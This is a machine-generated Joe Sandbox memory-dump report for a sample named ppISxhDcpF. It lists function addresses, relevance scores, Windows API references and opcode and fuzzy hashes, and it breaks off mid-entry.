Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde69abc4f8bd15fa30ffd6d900efe78077da8ad8f20842d873621dc1434ec83
Instruction ID: 728f78bfc28b3e58c1e7e01d65c26e634a59cfe2d2f2bdfb7b0a9704cbe3d7f7
Opcode Fuzzy Hash: cde69abc4f8bd15fa30ffd6d900efe78077da8ad8f20842d873621dc1434ec83
Instruction Fuzzy Hash: 6981C574E00248CFEB15DFE9C98069DBBF2FF88310F248569D858AB759DB359942CB60

Function 384BBA97 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a567ba7e83e64780fbafe3b8179869f105f45631c248a2df2402685e6ba8630
Instruction ID: 5313c9b50c0d7fbbe2019dea900a4b58fd15046de3aba2cc728d7081112aa756
Opcode Fuzzy Hash: 7a567ba7e83e64780fbafe3b8179869f105f45631c248a2df2402685e6ba8630
Instruction Fuzzy Hash: 1B81B474E00248CBEB15DFEAD94069DBBF2FF88310F248529D858AB759DB359942CB60

Function 00154348 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbdcdd8575d129b56d3f8dfceda67dc4e87336ac730740e1a04d27a3af6d01b
Instruction ID: 6d52f54de010ebbf22a7defe9f8351c47915e6886c6f2ae59efc6a0ad570761b
Opcode Fuzzy Hash: 4dbdcdd8575d129b56d3f8dfceda67dc4e87336ac730740e1a04d27a3af6d01b
Instruction Fuzzy Hash: BB81B674E00218DFEB18DFA9D844A9DBBF2BF88305F14C069E819AB365DB309985DF50

Function 384B8640 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78c0c5602ba1b934e7cc808b94dfa3ee83a5c3836e9f863eea385957b2dc401a
Instruction ID: cc930cf0ea65aa3d29658a0cda08d0065d3b2482ba5bf4b3fe62d16a5b1a325f
Opcode Fuzzy Hash: 78c0c5602ba1b934e7cc808b94dfa3ee83a5c3836e9f863eea385957b2dc401a
Instruction Fuzzy Hash: A971C375D01228CFDB69DF66C9847DDBBB2BF89340F1091AAD809A7350DB359A82CF50

Function 384B96B8 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8992108f4dbbf74c08358f95706a72cebed94869e50f203dbaa6076edfc4fe26
Instruction ID: 4b2ebf756fa425f58852c34e97927b0a2bb7ea8a7b15da77447c794df1e42fd4
Opcode Fuzzy Hash: 8992108f4dbbf74c08358f95706a72cebed94869e50f203dbaa6076edfc4fe26
Instruction Fuzzy Hash: 307195B5E01628CFEB68CF66C944B9DBBF2AF89300F14C1AAD40DA7255DB345A85CF11

Function 384BA9A0 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99721cb368a7ecd00721f35ff210230a457cfd3cb18cb4cc40fbc9a7ec0bb79a
Instruction ID: 216acbeac6a7c83e46ed422857655cd9fa169972a673a8201a1fc0f51d14911c
Opcode Fuzzy Hash: 99721cb368a7ecd00721f35ff210230a457cfd3cb18cb4cc40fbc9a7ec0bb79a
Instruction Fuzzy Hash: 6C7193B4D016188FEB68CF6AC944B9DBBF2AF89200F14C1AAD40DA7255DB345A86CF50

Function 00154329 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 105c2d6a1d1105aa762b0beb61ba11fc1a89d909ac520bb3e79443b9246eaaeb
Instruction ID: ca4ba36147a8230ceb1fe87d1d06a3d14979f220c36d6870443c356e288615d4
Opcode Fuzzy Hash: 105c2d6a1d1105aa762b0beb61ba11fc1a89d909ac520bb3e79443b9246eaaeb
Instruction Fuzzy Hash: 0B61E974E00248DFDB18CFAAD844A9DBBF2BF89301F14C06AE815AB365DB345846DF50

Function 384BC92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35c77ba032fc429162a1fd0c7a0ec2815ef81fa7e06b4e85e8d93c24195a9312
Instruction ID: 25af9f5ab58903ec2a7c7238ec514206f0172d0736529e67827a02678050d3ff
Opcode Fuzzy Hash: 35c77ba032fc429162a1fd0c7a0ec2815ef81fa7e06b4e85e8d93c24195a9312
Instruction Fuzzy Hash: 4761D634E00258EFEB25DF64C854BADBB77EB88341F5085AA9A0A77354CB315D82EF10

Function 384B9D00 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8a2f2d8adb64031fadf131485b733e4aea4a6aeabe0d6d71df0c4cb2d3d64e
Instruction ID: 7151a9858864fa59da90122cafc4c3e1b818d0e852035d00702ed1731727e046
Opcode Fuzzy Hash: 0d8a2f2d8adb64031fadf131485b733e4aea4a6aeabe0d6d71df0c4cb2d3d64e
Instruction Fuzzy Hash: C1417AB1E016189FEB58CF6BC944789FAF3AFC9200F14C1AAC54CA7264DB7409868F51

Function 384BA352 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c67febe8266a3b1d7461b83adeb3503f88fa356511727ffcc9b47819cf8ffd44
Instruction ID: f6f70c8aaf29b8179893ed64bd0efdee6853dfbe3a8494cabc5523af43650a53
Opcode Fuzzy Hash: c67febe8266a3b1d7461b83adeb3503f88fa356511727ffcc9b47819cf8ffd44
Instruction Fuzzy Hash: 084178B1D016189BEB58CF6BC9447CAFAF3AFC9200F14C0AAD54CA7264DB740A868F51

Function 389E0978 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 389E09FE
GetCurrentThread.KERNEL32 ref: 389E0A3B
GetCurrentProcess.KERNEL32 ref: 389E0A78
GetCurrentThreadId.KERNEL32 ref: 389E0AD1

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f5fb5785c16f6d19f393d6817592027506ebe8edb96e75c4d81a3ac3d11b12f4
Instruction ID: 272ee36a777eab00bb45cede09fbed954d7c00dec129c1cf02324978fedf096c
Opcode Fuzzy Hash: f5fb5785c16f6d19f393d6817592027506ebe8edb96e75c4d81a3ac3d11b12f4
Instruction Fuzzy Hash: 695135B090034ACFDB14DFAAC548B9EBFF1BF88310F208459E459A7261DB74A941CF65

Function 389E0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 389E09FE
GetCurrentThread.KERNEL32 ref: 389E0A3B
GetCurrentProcess.KERNEL32 ref: 389E0A78
GetCurrentThreadId.KERNEL32 ref: 389E0AD1

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 68faf0d224a0898529bb1197e7e4b99193fb32d200f14b96d1364831ca08a573
Instruction ID: 0afbaf1eefd949843420800faeb3a0559ee954c9e87c314dff68dc25b21bd43b
Opcode Fuzzy Hash: 68faf0d224a0898529bb1197e7e4b99193fb32d200f14b96d1364831ca08a573
Instruction Fuzzy Hash: 615124B090030ACFDB14DFAAC548B9EBBF6BF88310F208459E459A7261DB74A940CF65

Function 389E01C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?,?,?), ref: 389E0222

Strings

0, xrefs: 389E020A

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: d8f9cc20f2f7ddfda23b061979e9aacea21effd42249c6a3198f8cb5074a444c
Instruction ID: 70dd40d976e13e686ad0301c86a324e35fdbedb50d33aefa31659d2a0a0d78b4
Opcode Fuzzy Hash: d8f9cc20f2f7ddfda23b061979e9aacea21effd42249c6a3198f8cb5074a444c
Instruction Fuzzy Hash: A921A275800249EFDF11DF94D894ADDBFB5BF48314F218149F9146B260C775A855CF60

Function 00150B29 Relevance: 2.7, Strings: 2, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

t"m5, xrefs: 00150B57, 00150C86
P*m5, xrefs: 00150B7A

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID: P*m5$t"m5
API String ID: 0-789474613
Opcode ID: dfbe67e0358b2fbf6cb878bb538c289542488816fb915bc3ea5bbf82ea7b6bab
Instruction ID: c7dbb822df9a0431513bd69452070c0cb848f57dbd2390b462a49011ba3c9924
Opcode Fuzzy Hash: dfbe67e0358b2fbf6cb878bb538c289542488816fb915bc3ea5bbf82ea7b6bab
Instruction Fuzzy Hash: 07A1A774E00319DFDB04DFA8D99499DBBB3FB89341B104629EA16BB265DB306D46CF80

Function 00150B30 Relevance: 2.7, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

t"m5, xrefs: 00150B57, 00150C86
P*m5, xrefs: 00150B7A

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID: P*m5$t"m5
API String ID: 0-789474613
Opcode ID: 48ba71566cbe14c5f1ea6b6aa498e0fc386bb174d5888401daee636cb4ffc0f3
Instruction ID: bd44aa67aa20066bc26c0f544ca5aec511b1cb1be81ae74764751d9b72be8034
Opcode Fuzzy Hash: 48ba71566cbe14c5f1ea6b6aa498e0fc386bb174d5888401daee636cb4ffc0f3
Instruction Fuzzy Hash: D2A1A774E00319DFDB04DFA8D98499DBBB7FB89341B104625EA16BB265DB306D46CF80

Function 389E1DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 389E1E81

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 75b0e1780ddb4b85e2cbb9885b10a4e8467513336e13bedf394bcd0e330a97e3
Instruction ID: 1a51f820cf80382991ce4cb8406ba0ffcf4d69379a41e636258001395b004d77
Opcode Fuzzy Hash: 75b0e1780ddb4b85e2cbb9885b10a4e8467513336e13bedf394bcd0e330a97e3
Instruction Fuzzy Hash: 644125B8900309DFDB15DF99C484A9AFBF5FF88315F24845DE519AB321C734A841CBA0

Function 389E0BC0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 389E0C4F

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5ccf2a7a6a54d30216130a7f7f161c241dddeb4654cc36fdccff2958b33cd0cc
Instruction ID: c381441133ca4820a83ccd8aab6334a728cc63ea07a12d03f93b4afb31f56357
Opcode Fuzzy Hash: 5ccf2a7a6a54d30216130a7f7f161c241dddeb4654cc36fdccff2958b33cd0cc
Instruction Fuzzy Hash: 7021E3B59003499FDB10CFAAD984AEEBFF5FB48710F24841AE959A3310C378A951DF61

Function 389E0BC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 389E0C4F

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a39c2e1f80ddfe43b6c8c619d9ea9e5600cc65ea366ed8dab9668e158759d505
Instruction ID: 5665bee401ad32ce30104cb759bad444ce4e3739f74508df0229eb505c261c15
Opcode Fuzzy Hash: a39c2e1f80ddfe43b6c8c619d9ea9e5600cc65ea366ed8dab9668e158759d505
Instruction Fuzzy Hash: E721E4B59003099FDB10CFAAD984ADEBFF9FB48720F14801AE958A3310D378A950CF65

Function 389E2018 Relevance: 1.5, APIs: 1, Instructions: 48
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,?,?,?), ref: 389E207D

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 292f44b7d2499bec6881d45b574855e7158a318fbdfa321120ce1f23823cb877
Instruction ID: df4fde01e4bedfb8283167700a5fd92c2953ad6ab3dd85e4021fc2372a8937e6
Opcode Fuzzy Hash: 292f44b7d2499bec6881d45b574855e7158a318fbdfa321120ce1f23823cb877
Instruction Fuzzy Hash: 661125B58003499FDB11DF9AD884BDEBFF8EB49320F108459E459A7240C375A584CFA5

Function 389EC560 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 389ED445

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 46c928f0bcd18f807bcfc73687e49db7ed7decde489251adecb2ef8165992557
Instruction ID: 30fb8880ca66abe74d554d0b7f23fd1501bcfff3e940e4c12e7b23f2cfbbef43
Opcode Fuzzy Hash: 46c928f0bcd18f807bcfc73687e49db7ed7decde489251adecb2ef8165992557
Instruction Fuzzy Hash: E81145B59003498FDB20DFAAD444BCEBFF4EB48320F108419E518A3650D779A940CFA5

Function 389EC60C Relevance: 1.5, APIs: 1, Instructions: 46
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,389ED92F), ref: 389EE72D

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 9c985c5754b6230172e6c1980b9ed894b1d101f4f92fffb5c9cfd0fb820c7e1f
Instruction ID: f960bccd36575609f796e56817667475e6658935f0908e20f109ec951877e2d0
Opcode Fuzzy Hash: 9c985c5754b6230172e6c1980b9ed894b1d101f4f92fffb5c9cfd0fb820c7e1f
Instruction Fuzzy Hash: C811FEB5D047499FCB20DF9AD484B9EFFF4EB49320F10842AE818A3610D779A544CFA5

Function 389E2020 Relevance: 1.5, APIs: 1, Instructions: 44
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,?,?,?), ref: 389E207D

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 1a14bb07e7da49f47da0b0e94e4d0fb928bd258c5017adaa47213f1bf82daeae
Instruction ID: ee0e6209093ba7a1aa6d1e697d7b5ba681be5257565435340f2ca0aa082bd47d
Opcode Fuzzy Hash: 1a14bb07e7da49f47da0b0e94e4d0fb928bd258c5017adaa47213f1bf82daeae
Instruction Fuzzy Hash: E21115B58003499FDB10DF9AD885BDEFFF8EB48320F108419E519A7250C375A544CFA1

Function 389ED3EE Relevance: 1.5, APIs: 1, Instructions: 44
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 389ED445

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4a9413efe8eec83fc49c850567e121463cb4151122df9d69f8710b472720150e
Instruction ID: a0da1876ee1f646d4ec52c61a33f6ea843f0d3a3a35196d38faa5b880b2109c9
Opcode Fuzzy Hash: 4a9413efe8eec83fc49c850567e121463cb4151122df9d69f8710b472720150e
Instruction Fuzzy Hash: 741123B5D003498FDB20DFAAD484BDEFFF4AB89320F208459D559A3650D378A544CFA5

Function 389EE6C9 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,389ED92F), ref: 389EE72D

Memory Dump Source

Source File: 00000005.00000002.2737352485.00000000389E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_389e0000_ppISxhDcpF.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 8242d4d5a77ab207a8c66593047e18ec82420dbfa9fa0171f623379da1fdd9cd
Instruction ID: 9d3e785e5a0fd6417f87b6067a2cba4e308426669a76a71179b589f7a3faee05
Opcode Fuzzy Hash: 8242d4d5a77ab207a8c66593047e18ec82420dbfa9fa0171f623379da1fdd9cd
Instruction Fuzzy Hash: 961100B5D002498FDB10DF9AD4847DEFBF1FB49310F20852AD469A3610C779A546CFA5

Function 00158729 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

pu5Hu5, xrefs: 0015875A, 001587BF

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID: pu5Hu5
API String ID: 0-4136390805
Opcode ID: cb5f1217d962283d68e03522c72ba3c2a5265a93cf72642a1e357a011763a56d
Instruction ID: 8e64a317cd53e6830322ae5e60a1255a363e0395867d838b8b79f1a05b6b2759
Opcode Fuzzy Hash: cb5f1217d962283d68e03522c72ba3c2a5265a93cf72642a1e357a011763a56d
Instruction Fuzzy Hash: 69217C70E01248DFCB05DFA1D550AEEBFB6AF48301F248069E921FA290DB30DA45DF60

Function 001519C4 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34b1918ccc83f823fedb62d6676e3494f593f56615f1e7f2e1938684b8f98cac
Instruction ID: 6a78f9d9ce81c0587b66bbd022027d7ca710526bb28f74519b4396731a841aaa
Opcode Fuzzy Hash: 34b1918ccc83f823fedb62d6676e3494f593f56615f1e7f2e1938684b8f98cac
Instruction Fuzzy Hash: 1F32B5DBD1D7E18BC7134B705CB82587FB16A22106BEF458EC8C297287EBA94489C353

Function 384BC173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 518a9de7c3cdb3a9d9a37b86e646b9c5d84e8a269e3eed79bdfa1d873f14919f
Instruction ID: 81e269e504a68e8f20dacc007376e2d98bc1c04269856107ea6ab8faed0619fd
Opcode Fuzzy Hash: 518a9de7c3cdb3a9d9a37b86e646b9c5d84e8a269e3eed79bdfa1d873f14919f
Instruction Fuzzy Hash: 36E1E334A00218EFDB25DF64C994BADBBB2FB89341F5081A9D90A77350CB315E82DF54

Function 00155068 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4a20843e814b4ff2fad1ec78ce001d8f67701ebbaf31479473e979e3e6040
Instruction ID: 351a1cb4a66b6c80fd148ac04cf98186a8e3e786631cf93914ffe18cb21e9451
Opcode Fuzzy Hash: 01a4a20843e814b4ff2fad1ec78ce001d8f67701ebbaf31479473e979e3e6040
Instruction Fuzzy Hash: 0161B130704A00CFD7199B35C8A473A7BA7ABC8352F148529E916CF7A1DF75CD8A9B90

Function 001554A8 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad89b81633829230ac853f32c31a32e74aa10734824a509f47ffcaf3e1b2b9c4
Instruction ID: 3d2004834a1021bbd6b608b15e64514984510971e12d61fbb1ab7f8c398244a2
Opcode Fuzzy Hash: ad89b81633829230ac853f32c31a32e74aa10734824a509f47ffcaf3e1b2b9c4
Instruction Fuzzy Hash: F4719E34A10945CFCB18CF69C4A49A9B7B3BF88316B658069D826DF361EB31EC45CF51

Function 00156C98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a3708fc2dbb0afd844403ca65dd176c33a6cda983ffaf52b36ceb8d904b733
Instruction ID: cafa3df8abd3f36556ea0f0c13d8903c2f2ffc0b38b287e5839917c04c01b960
Opcode Fuzzy Hash: 20a3708fc2dbb0afd844403ca65dd176c33a6cda983ffaf52b36ceb8d904b733
Instruction Fuzzy Hash: 8D711434700205CFCB18DF68C895A6A7BF6EF49702B5944A9E822CB3B1DB74EC45CB90

Function 0015AF90 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c41fe8914972a29818feaeb1e3a30973a561df332794edd7fbdfec2084c57866
Instruction ID: 9fe03acca6b473ec9d24c55062998697957f21c635d55bb026b40efdeacd3c5a
Opcode Fuzzy Hash: c41fe8914972a29818feaeb1e3a30973a561df332794edd7fbdfec2084c57866
Instruction Fuzzy Hash: 62713A31608615CFDB14CF68D8D8A6AB7B5FF45312B568454FC299F2A2CB31EC85CB90

Function 384BFAB0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff67b700c52901a70a306e4edd861893e437680880ef7446c51ba32c67283fba
Instruction ID: 6c6596e10c8910c290738a9eca04964452359957a168109e2683ce003b2a8c56
Opcode Fuzzy Hash: ff67b700c52901a70a306e4edd861893e437680880ef7446c51ba32c67283fba
Instruction Fuzzy Hash: 2371D475E00219CFDF05DFB5C8589ADBBB2AF88701F20852AE406AB360DF799942CF54

Function 384BC4CF Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16d8bf8d5e60233ae119425a42b16337ab33c9f0551bb67176da22e918fc9a7
Instruction ID: 675e99a2a8ca17c0a1edc3c0c604f5e546f085b49fc62df9922760b4fc3f7c49
Opcode Fuzzy Hash: c16d8bf8d5e60233ae119425a42b16337ab33c9f0551bb67176da22e918fc9a7
Instruction Fuzzy Hash: 6C61D534E00258EFEB15DF64C854BADBB77EB88341F5085AA9A0A77754CB315E82EF10

Function 00158E0C Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee8f602a2a024090382a19a6c54e811d04f49e726907411f501abaeb6e95ada5
Instruction ID: 22510eb4b4f8c1cb0360fae596927920ab2a4e22da579727e103b8f30ecd962f
